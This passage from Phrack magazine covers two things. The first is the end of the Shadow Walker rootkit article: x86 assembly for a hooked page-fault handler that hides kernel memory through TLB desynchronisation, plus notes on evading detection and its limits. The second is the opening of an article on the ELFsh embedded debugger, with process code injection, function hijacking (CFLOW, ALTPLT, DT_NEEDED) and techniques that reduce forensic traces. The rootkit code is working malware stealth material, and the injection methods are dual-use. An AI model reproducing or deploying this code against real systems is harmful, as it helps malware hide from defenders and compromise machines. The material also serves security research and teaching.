// Check if the read / write
// is originating from code
// on the hidden page.
///////////////////////////////
LoadDTLB:
mov edx, [esp+0x24] //eip
cmp edx,[ebp].pDriverStarts
jb LoadFakeFrame
cmp edx,[ebp].pDriverEnds
ja LoadFakeFrame
/////////////////////////////////
// If the read /write is originating
// from code on the hidden page,then
// let it go through. The code on the
// hidden page will follow protocol
// to clear the TLB after the access.
////////////////////////////////
cli
or dword ptr [ebx], 0x01 //mark the page present
mov eax, dword ptr [eax] //load the DTLB
and dword ptr [ebx], 0xFFFFFFFE //mark page not present
sti
jmp ReturnWithoutPassdown
/////////////////////////////////
// We want to fake out this read
// write. Our code is not generating
// it.
/////////////////////////////////
LoadFakeFrame:
mov esi, [ebp].pReadWritePte
mov ecx, dword ptr [esi] //ecx = PTE of the
//read / write page
//replace the frame with the fake one
mov edi, [ebx]
and edi, 0x00000FFF //preserve the lower 12 bits of the
//faulting page's PTE
and ecx, 0xFFFFF000 //isolate the physical address in
//the "fake" page's PTE
or ecx, edi
mov edx, [ebx] //save the old PTE so we can replace it
cli
mov [ebx], ecx //replace the faulting page's phys frame
//address w/ the fake one
//load the DTLB
or dword ptr [ebx], 0x01 //mark the page present
mov eax, cr2 //faulting virtual address
mov eax, dword ptr[eax] //do data access to load DTLB
and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present
//Finally, restore the original PTE
mov [ebx], edx
sti
ReturnWithoutPassDown:
popad
add esp,4
iretd
PassDown:
popad
jmp g_OldInt0EHandler
}//end asm
}//end NewInt0E
--[ 4 - Known Limitations & Performance Impact
As our current rootkit is intended only as a proof of concept
demonstration rather than a fully engineered attack tool, it possesses
a number of implementational limitations. Most of this functionality
could be added, were one so inclined. First, there is no effort to
support hyperthreading or multiple processor systems. Additionally,
it does not support the Pentium PAE addressing mode which extends
the number of physically addressable bits from 32 to 36. Finally, the
design is limited to cloaking only 4K sized kernel mode pages
(i.e. in the upper 2 GB range of the memory address space). We mention
the 4K page limitation because there are currently some technical
issues with regard to hiding the 4MB page upon which ntoskrnl resides.
Hiding the page containing ntoskrnl would be a noteworthy extension.
In terms of performance, we have not completed rigorous testing, but
subjectively speaking there is no noticeable performance impact after
the rootkit and memory hooking engine are installed. For maximum
performance, as mentioned previously, code and data should remain
on separate pages and the usage of global data should be minimized
to limit the impact on performance if one desires to enable both
data and executable page cloaking.
--[ 5 - Detection
There are at least a few obvious weaknesses that must be dealt with to
avoid detection. Our current proof of concept implementation does not
address them, however, we note them here for the sake of completeness.
Because we must be able to differentiate between normal page faults and
those faults related to the memory hook, we impose the requirement that
hooked pages must reside in non paged memory. Clearly, non present pages
in non paged memory present an abnormality. Weather or not this is a
sufficient heuristic to call a rootkit alarm is, however, debatable.
Locking down pagable memory using an API like MmProbeAndLockPages is
probably more stealthy. The next weakness lies in the need to disguise
the presence of the page fault handler. Because the page where the page
fault handler resides cannot be marked non present due to the obvious
issues with recursive reentry, it will be vulnerable to a simple signature
scan and must be obsfucated using more traditional methods. Since this
routine is small, written in ASM, and does not rely upon any kernel API's,
polymorphism would be a reasonable solution. A related weakness
arises in the need to disguise the presence of the IDT hook. We cannot use
our memory hooking technique to disguise the modifications to the
interrupt descriptor table for similar reasons as the page fault handler.
While we could hook the page fault interrupt via an inline hook rather
than direct IDT modification, placing a memory hook on the page
containing the OS's INT 0E handler is problematic and inline hooks
are easily detected. Joanna Rutkowska proposed using the debug registers
to hide IDT hooks [5], but Edgar Barbosa demonstrated they are not a
completey effective solution [12]. This is due to the fact that debug
registersprotect virtual as opposed to physical addresses. One may simply
remap the physical frame containing the IDT to a different virtual address
and read / write the IDT memory as one pleases. Shadow Walker falls prey
to this type of attack as well, based as it is, upon the exploitation
of virtual rather than physical memory. Despite this aknowleged
weakness, most commercial security scanners still perform virtual
rather than physical memory scans and will be fooled by rootkits like
Shadow Walker. Finally, Shadow Walker is insidious. Even if a scanner
detects Shadow Walker, it will be virtually helpless to remove it on a
running system. Were it to successfully over-write the hook with the
original OS page fault handler, for example, it would likely BSOD the
system because there would be some page faults occurring on the hidden
pages which neither it nor the OS would know how to handle.
--[ 6 - Conclusion
Shadow Walker is not a weaponized attack tool. Its functionality is
limited and it makes no effort to hide it's hook on the IDT or its page
fault handler code. It provides only a practical proof of concept
implementation of virtual memory subversion. By inverting the defensive
software implementation of non executalbe memory, we show that it is
possible to subvert the view of virtual memory relied upon by the
operating system and almost all security scanner applications. Due to its
exploitation of the TLB architecture, Shadow Walker is transparent and
exhibits an extremely light weight performance hit. Such characteristics
will no doubt make it an attractive solution for viruses, worms, and
spyware applications in addition to rootkits.
--[ 7 - References
1. Tripwire, Inc. http://www.tripwire.com/
2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July,
2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/
bh-us-04-butler.pdf
3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12
4. Holy Father, Hacker Defender. http://hxdef.czweb.org/
5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder
2. January, 2004.
6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows
Kernel. July, 2005.
7. B. Cogswell and M. Russinovich, RootkitRevealer, available at:
www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml
8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005):
www.fsecure.com/blacklight/
9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0
http://www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf
10. Chong, S.K. Windows Local Kernel Exploitation.
http://www.bellua.com/bcs2005/asia05.archive/
BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt
11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni:
Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security
Symposium 2004.
12. Barbosa, Edgar. Avoiding Windows Rootkit Detection
http://packetstormsecurity.org/filedesc/bypassEPA.pdf
13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003
http://www.invisiblethings.org/papers/chameleon_concepts.pdf
14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth
Edition.
--[ 8 - Aknowlegements
Thanks and aknowlegements go to Joanna Rutkowska for her Chamelon Project
paper as it was one of the inspirations for this project, to the PAX team
for showing how to desynchronize the TLB in their software implementation
of non executable memory, to Halvar Flake for our inital discussions
of the Shadow Walker idea, and to Kayaker for helping beta test and debug
some of the code. We would finally like to extend our greetings to
all of the contributors on rootkit.com :)
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x09 of 0x14
|=------=[ Embedded ELF Debugging : the middle head of Cerberus ]=------=|
|=----------------------------------------------------------------------=|
|=------------=[ The ELF shell crew <elfsh@devhell.org> ]=--------------=|
|=----------------------------------------------------------------------=|
I. Hardened software debugging introduction
a. Previous work & limits
b. Beyond PaX and ptrace()
c. Interface improvements
II. The embedded debugging playground
a. In-process injection
b. Alternate ondisk and memory ELF scripting (feat. linkmap)
c. Real debugging : dumping, backtrace, breakpoints
d. A note on dynamic analyzers generation
III. Better multiarchitecture ELF redirections
a. CFLOW: PaX-safe static functions redirection
b. ALTPLT technique revised
c. ALTGOT technique : the RISC complement
d. EXTPLT technique : unknown function postlinking
e. IA32, SPARC32/64, ALPHA64, MIPS32 compliant algorithms
V. Constrained Debugging
a. ET_REL relocation in memory
b. ET_REL injection for Hardened Gentoo (ET_DYN + pie + ssp)
c. Extending static executables
d. Architecture independant algorithms
VI. Past and present
VII. Greetings
VIII. References
-------[ I. Hardened software debugging introduction
In the past, binary manipulation work has focussed on virii
writing, software cracking, backdoors deployment, or creation of
tiny or obfuscated executables. Besides the tools from the GNU
project such as the GNU binutils that includes the GNU debugger [1]
(which focus more on portability than functionalities), no major
binary manipulation framework does exist. For almost ten years,
the ELF format has been a success and most UNIX Operating Systems
and distributions rely on it.
However, the existing tools do not take advantage of the format
and most of the reverse engineering or debugging softwares are
either very architecture specific, or simply do not care about
binary internals for extracting and redirecting information.
Since our first published work on the ELF shell, we improved so
much the new framework that it is now time to publish a second
deep article focussing on advances in static and runtime
ELF techniques. We will explain in great details the 8 new
binary manipulation functionalities that intersect with the
existing reverse engineering methodology. Those techniques allow
for a new type of approach on debugging and extending closed
source software in hardened environments.
We worked on many architectures (x86, alpha, sparc, mips) and
focussed on constrained environments where binaries are linked
for including security protections (such as hardened gentoo
binaries) in PaX [2] protected machines. It means that our
debugger can stay safe if it is injected inside a (local or)
remote process.
----[ A. Previous work & limits
In the first part of the Cerberus articles serie, we introduced
a new residency technique called ET_REL injection. It consisted
in compiling C code into relocatable (.o) files and injecting
them into existing closed source binary programs. This technique
was proposed for INTEL and SPARC architectures on the ELF32
format.
We improved this technique so that both 32 and 64 bits binaries
are supported so we added alpha64 and sparc64 support. We also
worked on the MIPS r5000 architecture and now provide a nearly
complete environment for it as well. We now also allow for ET_REL
injection into ET_DYN objects (shared libraries) so that our
technique is compatible with fully randomized environments such
as provided by Hardened Gentoo with the PaX protection enabled
on the Linux Operating System. We also worked on other OS such as
BSD based ones, Solaris, and HP-UX and the code was compiled and
tested regulary on those as well.
A major innovation of our binary manipulation based debugging
framework is the absence of ptrace. We do not use kernel residency
like in [8] so that even unprivilegied users can use this and it
is not Operating System dependent.
Existing debuggers use to rely on the ptrace system call so that
the debugger process can attach the debuggee program and enable
various internal processes manipulations such as dumping memory,
putting breakpoints, backtracing, and so on. We propose the same
features without using the system call.
The reasons why we do not use ptrace are multiple and simple.
First of all, a lot of hardened or embedded systems do not
implement it, or just disable it. That's the case for grsecurity
based systems, production systems, or phone systems whoose
Operating System is ELF based but without a ptrace interface.
The second major reason for not using ptrace is the performance
penalties of such a debugging system. We do not suffer from
performance penalties since the debugger resides in the same
process. We provide a full userland technique that does not have
to access the kernel memory, thus it is useful in all stages of
a penetration testing when debugging sensitive software on
hardened environment is needed and no system update is possible.
We allow for plain C code injection inside new binary files (in
the static perspective) and processes (in the runtime mode) using
a unified software. When requested, we only use ELF techniques that
reduce forensics evidences on the disk and only works in memory.
----[ B. Beyond PaX and ptrace
Another key point in our framework are the greatly improved
redirection techniques. We can redirect almost all control flow,
wether or not the function code is placed inside the binary
itself (CFLOW technique) or in a library on which the binary
depends (Our previous work presented new hijacking techniques
such that ALTPLT).
We improved this techniques and passed through many rewrites
and now allow a complete architecture independant implementation.
We completed ALTPLT by a new technique called ALTGOT so that
hijacking a function and calling back the original copy from the
hooking function is possible on Alpha and Mips RISC machines as
well.
We also created a new technique called EXTPLT which allow for
unknown function (for which no dynamic linking information is
available at all in the ELF file) using a new postlinking
algorithm compatible with ET_EXEC and ET_DYN objets.
----[ C. Interface improvements
Our Embedded ELF debugger implementation is a prototype.
Understand that it is really usable but we are still in the
development process. All the code presented here is known to
work. However we are not omniscient and you might encounter a
problem. In that case, drop us an email so that we can figure
out how to create a patch.
The only assumption that we made is the ability to read the
debuggee program. In all case, you can also debug in memory
the unreadable binaries on disk by loading the debugger using
the LD_PRELOAD variable. Nevertheless, e2dbg is enhanced
when binary files are readable. Because the debugger run in the
same address space, you can still read memory [3] [4] and
restore the binary program even though we do not implement it
yet.
The central communication language in the Embedded ELF Debugger
(e2dbg) framework is the ELFsh scripting language. We augmented
it with loop and conditional control flow, transparent support
for lazy typed variables (like perl). The source command (for
executing a script inside the current session) and user-defined
macros (scriptdir command) are also supported.
We also developed a peer2peer stack so called Distributed
Update Management Protocol - DUMP - that allow for linking
multiple debugger instances using the network, but this
capability is not covered by the article. For completeness, we
now support multiusers (parallel or shared) sessions and
environment swapping using the workspace command.
We will go through the use of such interface in the first part
of the paper. In the second part, we give technical details
about the implementation of such features on multiple
architectures. The last part is dedicated to the most recent
and advanced techniques we developed in the last weeks for
constrained debugging in protected binaries. The last algorithms
of the paper are architecture independant and constitute the
core of the relocation engine in ELFsh.
-------[ II. The embedded debugging playground
---[ A. In-process injection
We have different techniques for injecting the debugger
inside the debuggee process. Thus it will share the address
space and the debugger will be able to read its own data
and code for getting (and changing) information in the
debuggee process.
Because the ELF shell is composed of 40000 lines of code,
we did not want to recode everything for allowing process
modification. We used some trick that allow us to select
wether the modifications are done in memory or on disk. The
trick consists in 10 lines of code. Considering the PROFILE
macros not beeing mandatory, here is the exact stuff :
(libelfsh/section.c)
========= BEGIN DUMP 0 =========
void *elfsh_get_raw(elfshsect_t *sect)
{
ELFSH_PROFILE_IN(__FILE__, __FUNCTION__, __LINE__);
/* sect->parent->base is always NULL for ET_EXEC */
if (elfsh_is_debug_mode())
{
sect->pdata = (void *) sect->parent->base + sect->shdr->sh_addr;
ELFSH_PROFILE_ROUT(__FILE__, __FUNCTION__, __LINE__, (sect->pdata));
}
if (sect)
ELFSH_PROFILE_ROUT(__FILE__, __FUNCTION__, __LINE__, (sect->data));
ELFSH_PROFILE_ERR(__FILE__, __FUNCTION__, __LINE__,
"Invalid parameter", NULL);
}
========= END DUMP 0 =========
What is the technique about ? It is quite simple : if the debugger
internal flag is set to static mode (on-disk modification), then we
return the pointer on the ELFsh internal data cache for the section
data we want to access.
However if we are in dynamic mode (process modification), then we
just return the address of that section. The debugger runs in the
same process and thus will think that the returned address is a
readable (or writable) buffer. We can reuse all the ELF shell
API by just taking care of using the elfsh_get_raw() function when
accessing the ->data pointer. The process/ondisk selection is then
transparent for all the debugger/elfsh code.
The idea of injecting code directly inside the process is not
new and we studied it for some years now. Embedded code injection
is also used in the Windows cracking community [12] for bypassing
most of the protections against tracing and debugging, but nowhere
else we have seen an implementation of a full debugger, capable
of such advanced features like ET_REL injection or function
redirection on multiple architectures, both on disk and in memory,
with a single code.
---[ B. Alternate ondisk and memory ELF scripting (feat. linkmap)
We have 2 approaches for inserting the debugger inside the debuggee
program. When using a DT_NEEDED entry and redirecting the main
debuggee function onto the main entry point of the ET_DYN debugger,
we also inject various sections so that we can perform core
techniques such as EXTPLT. That will be described in details in
the next part.
The second approach is about using LD_PRELOAD on the debuggee
program and putting breakpoints (either by 0xCC opcode on x86 or
the equivalent opcode on another architecture, or by function
redirection which is available on many architectures and for many
kind of functions in the framework).
Since binary modification is needed anyway, we are using the
DT_NEEDED technique for adding the library dependance, and all
other sections injections or redirection described in this article,
before starting the real debugging.
The LD_PRELOAD technique is particulary more useful when you
cannot read the binary you want to debug. It is left to the user
the choice of debugger injection technique, depending on the needs
of the moment.
Let's see how to use the embedded debugger and its 'mode' command
that does the memory/disk selection. Then we print the Global
Offset Table (.got). First the memory GOT is displayed, then we
get back in static mode and the ondisk GOT is printed :
========= BEGIN DUMP 1 =========
(e2dbg-0.65) list
.::. Working files .::.
[001] Sun Jul 31 19:23:33 2005 D ID: 9 /lib/libncurses.so.5
[002] Sun Jul 31 19:23:33 2005 D ID: 8 /lib/libdl.so.2
[003] Sun Jul 31 19:23:33 2005 D ID: 7 /lib/libtermcap.so.2
[004] Sun Jul 31 19:23:33 2005 D ID: 6 /lib/libreadline.so.5
[005] Sun Jul 31 19:23:33 2005 D ID: 5 /lib/libelfsh.so
[006] Sun Jul 31 19:23:33 2005 D ID: 4 /lib/ld-linux.so.2
[007] Sun Jul 31 19:23:33 2005 D ID: 3 ./ibc.so.6 # e2dbg.so renamed
[008] Sun Jul 31 19:23:33 2005 D ID: 2 /lib/tls/libc.so.6
[009] Sun Jul 31 19:23:33 2005 *D ID: 1 ./a.out_e2dbg # debuggee
.::. ELFsh modules .::.
[*] No loaded module
(e2dbg-0.65) mode
[*] e2dbg is in DYNAMIC MODE
(e2dbg-0.65) got
[Global Offset Table .::. GOT : .got ]
[Object ./a.out_e2dbg]
0x080498E4: [0] 0x00000000 <?>
[Global Offset Table .::. GOT : .got.plt ]
[Object ./a.out_e2dbg]
0x080498E8: [0] 0x0804981C <_DYNAMIC@a.out_e2dbg>
0x080498EC: [1] 0x00000000 <?>
0x080498F0: [2] 0x00000000 <?>
0x080498F4: [3] 0x0804839E <fflush@a.out_e2dbg>
0x080498F8: [4] 0x080483AE <puts@a.out_e2dbg>
0x080498FC: [5] 0x080483BE <malloc@a.out_e2dbg>
0x08049900: [6] 0x080483CE <strlen@a.out_e2dbg>
0x08049904: [7] 0x080483DE <__libc_start_main@a.out_e2dbg>
0x08049908: [8] 0x080483EE <printf@a.out_e2dbg>
0x0804990C: [9] 0x080483FE <free@a.out_e2dbg>
0x08049910: [10] 0x0804840E <read@a.out_e2dbg>
[Global Offset Table .::. GOT : .elfsh.altgot ]
[Object ./a.out_e2dbg]
0x08049928: [0] 0x0804981C <_DYNAMIC@a.out_e2dbg>
0x0804992C: [1] 0xB7F4A4E8 <_r_debug@ld-linux.so.2 + 24>
0x08049930: [2] 0xB7F3EEC0 <_dl_rtld_di_serinfo@ld-linux.so.2 + 477>
0x08049934: [3] 0x0804839E <fflush@a.out_e2dbg>
0x08049938: [4] 0x080483AE <puts@a.out_e2dbg>
0x0804993C: [5] 0xB7E515F0 <__libc_malloc@libc.so.6>
0x08049940: [6] 0x080483CE <strlen@a.out_e2dbg>
0x08049944: [7] 0xB7E01E50 <__libc_start_main@libc.so.6>
0x08049948: [8] 0x080483EE <printf@a.out_e2dbg>
0x0804994C: [9] 0x080483FE <free@a.out_e2dbg>
0x08049950: [10] 0x0804840E <read@a.out_e2dbg>
0x08049954: [11] 0xB7DAFFF6 <e2dbg_run@ibc.so.6>
(e2dbg-0.65) mode static
[*] e2dbg is now in STATIC mode
(e2dbg-0.65) # Here we switched in ondisk perspective
(e2dbg-0.65) got
[Global Offset Table .::. GOT : .got ]
[Object ./a.out_e2dbg]
0x080498E4: [0] 0x00000000 <?>
[Global Offset Table .::. GOT : .got.plt ]
[Object ./a.out_e2dbg]
0x080498E8: [0] 0x0804981C <_DYNAMIC>
0x080498EC: [1] 0x00000000 <?>
0x080498F0: [2] 0x00000000 <?>
0x080498F4: [3] 0x0804839E <fflush>
0x080498F8: [4] 0x080483AE <puts>
0x080498FC: [5] 0x080483BE <malloc>
0x08049900: [6] 0x080483CE <strlen>
0x08049904: [7] 0x080483DE <__libc_start_main>
0x08049908: [8] 0x080483EE <printf>
0x0804990C: [9] 0x080483FE <free>
0x08049910: [10] 0x0804840E <read>
[Global Offset Table .::. GOT : .elfsh.altgot ]
[Object ./a.out_e2dbg]
0x08049928: [0] 0x0804981C <_DYNAMIC>
0x0804992C: [1] 0x00000000 <?>
0x08049930: [2] 0x00000000 <?>
0x08049934: [3] 0x0804839E <fflush>
0x08049938: [4] 0x080483AE <puts>
0x0804993C: [5] 0x080483BE <malloc>
0x08049940: [6] 0x080483CE <strlen>
0x08049944: [7] 0x080483DE <__libc_start_main>
0x08049948: [8] 0x080483EE <printf>
0x0804994C: [9] 0x080483FE <free>
0x08049950: [10] 0x0804840E <read>
0x08049954: [11] 0x0804614A <e2dbg_run + 6>
========= END DUMP 1 =========
There are many things to notice in this dump. First you can
verify that it actually does what it is supposed to by
looking the first GOT entries which are reserved for the
linkmap and the rtld dl-resolve function. Those entries are
filled at runtime, so the static GOT version contains NULL
pointers for them. However the GOT which stands in memory has
them filled.
Also, the new version of the GNU linker does insert multiple
GOT sections inside ELF binaries. The .got section handles
the pointer for external variables, while .got.plt handles
the external function pointers. In earlier versions of LD,
those 2 sections were merged. We support both conventions.
Finally, you can see in last the .elfsh.altgot section.
That is part of the ALTGOT technique and it will be
explained as a standalone algorithm in the next parts
of this paper. The ALTGOT technique allow for a size
extension of the Global Offset Table. It allows different
things depending on the architecture. On x86, ALTGOT is
only used when EXTPLT is used, so that we can add extra
function to the host file. On MIPS and ALPHA, ALTGOT
allows to redirect an extern (PLT) function without losing
the real function address. We will develop both of these
techniques in the next parts.
---[ C. Real debugging : dumping, backtrace, breakpoints
When performing debugging using a debugger embedded in the
debuggee process, we do not need ptrace so we cannot
modify so easily the process address space. That's why
we have to do small static changes : we add the debugger
as a DT_NEEDED dependancy. The debugger will also overload some
signal handlers (SIGTRAP, SIGINT, SIGSEGV ..) so that it
can takes control on those events.
We can redirect functions as well using either the CFLOW or
ALTPLT technique using on-disk modification, so that we takes
control at the desired moment. Obviously we can also set
breakpoints in runtime but that need to mprotect the code zone
if it was not writable for the moment. We have idea about how
to get rid of mprotect but this was not implemented in that
version (0.65). Indeed, many uses of the mprotect system call
are incompatible with one of the PaX option). Fortunately
we assume for now that we have read access to the debuggee
program, which means that we can copy the file and disable
that option.
This is how the DT_NEEDED dependence is added :
========= BEGIN DUMP 2 =========
elfsh@WTH $ cat inject_e2dbg.esh
#!../../vm/elfsh
load a.out
set 1.dynamic[08].val 0x2
set 1.dynamic[08].tag DT_NEEDED
redir main e2dbg_run
save a.out_e2dbg
========= END DUMP 2 =========
Let's see the modified binary .dynamic section, where the
extra DT_NEEDED entries were added using the DT_DEBUG
technique that we published 2 years ago [0] :
========= BEGIN DUMP 3 =========
elfsh@WTH $ ../../vm/elfsh -f ./a.out -d DT_NEEDED
[*] Object ./a.out has been loaded (O_RDONLY)
[SHT_DYNAMIC]
[Object ./a.out]
[00] Name of needed library => libc.so.6 {DT_NEEDED}
[*] Object ./a.out unloaded
elfsh@WTH $ ../../vm/elfsh -f ./a.out_e2dbg -d DT_NEEDED
[*] Object ./a.out_e2dbg has been loaded (O_RDONLY)
[SHT_DYNAMIC]
[Object ./a.out_e2dbg]
[00] Name of needed library => libc.so.6 {DT_NEEDED}
[08] Name of needed library => ibc.so.6 {DT_NEEDED}
[*] Object ./a.out_e2dbg unloaded
========= END DUMP 3 =========
Let's see how we redirected the main function to the hook_main
function. You can notice the overwritten bytes between the 2 jmp
of the hook_main function. This technique is also available MIPS
architecture, but this dump is from the IA32 implementation :
========= BEGIN DUMP 4 =========
elfsh@WTH $ ../../vm/elfsh -f ./a.out_e2dbg -D main%40
[*] Object ./a.out_e2dbg has been loaded (O_RDONLY)
08045134 [foff: 308] hook_main + 0 jmp <e2dbg_run>
08045139 [foff: 313] hook_main + 5 push %ebp
0804513A [foff: 314] hook_main + 6 mov %esp,%ebp
0804513C [foff: 316] hook_main + 8 push %esi
0804513D [foff: 317] hook_main + 9 push %ebx
0804513E [foff: 318] hook_main + 10 jmp <main + 5>
08045139 [foff: 313] old_main + 0 push %ebp
0804513A [foff: 314] old_main + 1 mov %esp,%ebp
0804513C [foff: 316] old_main + 3 push %esi
0804513D [foff: 317] old_main + 4 push %ebx
0804513E [foff: 318] old_main + 5 jmp <main + 5>
08048530 [foff: 13616] main + 0 jmp <hook_main>
08048535 [foff: 13621] main + 5 sub $2010,%esp
0804853B [foff: 13627] main + 11 mov 8(%ebp),%ebx
0804853E [foff: 13630] main + 14 mov C(%ebp),%esi
08048541 [foff: 13633] main + 17 and $FFFFFFF0,%esp
08048544 [foff: 13636] main + 20 sub $10,%esp
08048547 [foff: 13639] main + 23 mov %ebx,4(%esp,1)
0804854B [foff: 13643] main + 27 mov $<_IO_stdin_used + 43>,(%esp,1)
08048552 [foff: 13650] main + 34 call <printf>
08048557 [foff: 13655] main + 39 mov (%esi),%eax
[*] No binary pattern was specified
[*] Object ./a.out_e2dbg unloaded
========= END DUMP 4 =========
Let's now execute the debuggee program, in which the
debugger was injected.
========= BEGIN DUMP 5 =========
elfsh@WTH $ ./a.out_e2dbg
The Embedded ELF Debugger 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
[*] Sun Jul 31 17:56:52 2005 - New object ./a.out_e2dbg loaded
[*] Sun Jul 31 17:56:52 2005 - New object /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 17:56:53 2005 - New object ./ibc.so.6 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/ld-linux.so.2 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libelfsh.so loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libreadline.so.5 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libtermcap.so.2 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libdl.so.2 loaded
[*] Sun Jul 31 17:56:53 2005 - New object /lib/libncurses.so.5 loaded
(e2dbg-0.65) b puts
[*] Breakpoint added at <puts@a.out_e2dbg> (0x080483A8)
(e2dbg-0.65) continue
[..: Embedded ELF Debugger returns to the grave :...]
[e2dbg_run] returning to 0x08045139
[host] main argc 1
[host] argv[0] is : ./a.out_e2dbg
First_printf test
The Embedded ELF Debugger 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
[*] Sun Jul 31 17:57:03 2005 - New object /lib/tls/libc.so.6 loaded
(e2dbg-0.65) bt
.:: Backtrace ::.
[00] 0xB7DC1EC5 <vm_bt@ibc.so.6 + 208>
[01] 0xB7DC207F <cmd_bt@ibc.so.6 + 152>
[02] 0xB7DBC88C <vm_execmd@ibc.so.6 + 174>
[03] 0xB7DAB4DE <vm_loop@ibc.so.6 + 578>
[04] 0xB7DAB943 <vm_run@ibc.so.6 + 271>
[05] 0xB7DA5FF0 <e2dbg_entry@ibc.so.6 + 110>
[06] 0xB7DA68D6 <e2dbg_genericbp_ia32@ibc.so.6 + 183>
[07] 0xFFFFE440 <_r_debug@ld-linux.so.2 + 1208737648> # sigtrap retaddr
[08] 0xB7DF7F3B <__libc_start_main@libc.so.6 + 235>
[09] 0x08048441 <_start@a.out_e2dbg + 33>
(e2dbg-0.65) b
.:: Breakpoints ::.
[00] 0x080483A8 <puts@a.out_e2dbg>
(e2dbg-0.65) delete 0x080483A8
[*] Breakpoint at 080483A8 <puts@a.out_e2dbg> removed
(e2dbg-0.65) b
.:: Breakpoints ::.
[*] No breakpoints
(e2dbg-0.65) b printf
[*] Breakpoint added at <printf@a.out_e2dbg> (0x080483E8)
(e2dbg-0.65) dumpregs
.:: Registers ::.
[EAX] 00000000 (0000000000) <unknown>
[EBX] 08203F48 (0136331080) <.elfsh.relplt@a.out_e2dbg + 1811272>
[ECX] 00000000 (0000000000) <unknown>
[EDX] B7F0C7C0 (3086010304) <__guard@libc.so.6 + 1656>
[ESI] BFE3B7C4 (3219371972) <_r_debug@ld-linux.so.2 + 133149428>
[EDI] BFE3B750 (3219371856) <_r_debug@ld-linux.so.2 + 133149312>
[ESP] BFE3970C (3219363596) <_r_debug@ld-linux.so.2 + 133141052>
[EBP] BFE3B738 (3219371832) <_r_debug@ld-linux.so.2 + 133149288>
[EIP] 080483A9 (0134513577) <puts@a.out_e2dbg>
(e2dbg-0.65) stack 20
.:: Stack ::.
0xBFE37200 0x00000000 <(null)>
0xBFE37204 0xB7DC2091 <vm_dumpstack@ibc.so.6>
0xBFE37208 0xB7DDF5F0 <_GLOBAL_OFFSET_TABLE_@ibc.so.6>
0xBFE3720C 0xBFE3723C <_r_debug@ld-linux.so.2 + 133131628>
0xBFE37210 0xB7DC22E7 <cmd_stack@ibc.so.6 + 298>
0xBFE37214 0x00000014 <_r_debug@ld-linux.so.2 + 1208744772>
0xBFE37218 0xB7DDDD90 <__FUNCTION__.5@ibc.so.6 + 49>
0xBFE3721C 0xBFE37230 <_r_debug@ld-linux.so.2 + 133131616>
0xBFE37220 0xB7DB9DF9 <vm_implicit@ibc.so.6 + 304>
0xBFE37224 0xB7DE1A7C <world@ibc.so.6 + 92>
0xBFE37228 0xB7DA8176 <do_resolve@ibc.so.6>
0xBFE3722C 0x080530B8 <.elfsh.relplt@a.out_e2dbg + 38072>
0xBFE37230 0x00000014 <_r_debug@ld-linux.so.2 + 1208744772>
0xBFE37234 0x08264FF6 <.elfsh.relplt@a.out_e2dbg + 2208758>
0xBFE37238 0xB7DDF5F0 <_GLOBAL_OFFSET_TABLE_@ibc.so.6>
0xBFE3723C 0xBFE3726C <_r_debug@ld-linux.so.2 + 133131676>
0xBFE37240 0xB7DBC88C <vm_execmd@ibc.so.6 + 174>
0xBFE37244 0x0804F208 <.elfsh.relplt@a.out_e2dbg + 22024>
0xBFE37248 0x00000000 <(null)>
0xBFE3724C 0x00000000 <(null)>
(e2dbg-0.65) continue
[..: Embedded ELF Debugger returns to the grave :...]
First_puts
The Embedded ELF Debugger 0.65 (32 bits built) .::.
.::. This software is under the General Public License V.2
.::. Please visit http://www.gnu.org
[*] Sun Jul 31 18:00:47 2005 - /lib/tls/libc.so.6 loaded
[*] Sun Jul 31 18:00:47 2005 - /usr/lib/gconv/ISO8859-1.so loaded
(e2dbg-0.65) dumpregs
.:: Registers ::.
[EAX] 0000000B (0000000011) <_r_debug@ld-linux.so.2 + 1208744763>
[EBX] 08203F48 (0136331080) <.elfsh.relplt@a.out_e2dbg + 1811272>
[ECX] 0000000B (0000000011) <_r_debug@ld-linux.so.2 + 1208744763>
[EDX] B7F0C7C0 (3086010304) <__guard@libc.so.6 + 1656>
[ESI] BFE3B7C4 (3219371972) <_r_debug@ld-linux.so.2 + 133149428>
[EDI] BFE3B750 (3219371856) <_r_debug@ld-linux.so.2 + 133149312>
[ESP] BFE3970C (3219363596) <_r_debug@ld-linux.so.2 + 133141052>
[EBP] BFE3B738 (3219371832) <_r_debug@ld-linux.so.2 + 133149288>
[EIP] 080483E9 (0134513641) <printf@a.out_e2dbg>
(e2dbg-0.65) linkmap
.::. Linkmap entries .::.
[01] addr : 0x00000000 dyn : 0x0804981C -
[02] addr : 0x00000000 dyn : 0xFFFFE590 -
[03] addr : 0xB7DE3000 dyn : 0xB7F0AD3C - /lib/tls/libc.so.6
[04] addr : 0xB7D95000 dyn : 0xB7DDF01C - ./ibc.so.6
[05] addr : 0xB7F29000 dyn : 0xB7F3FF14 - /lib/ld-linux.so.2
[06] addr : 0xB7D62000 dyn : 0xB7D93018 - /lib/libelfsh.so
[07] addr : 0xB7D35000 dyn : 0xB7D5D46C - /lib/libreadline.so.5
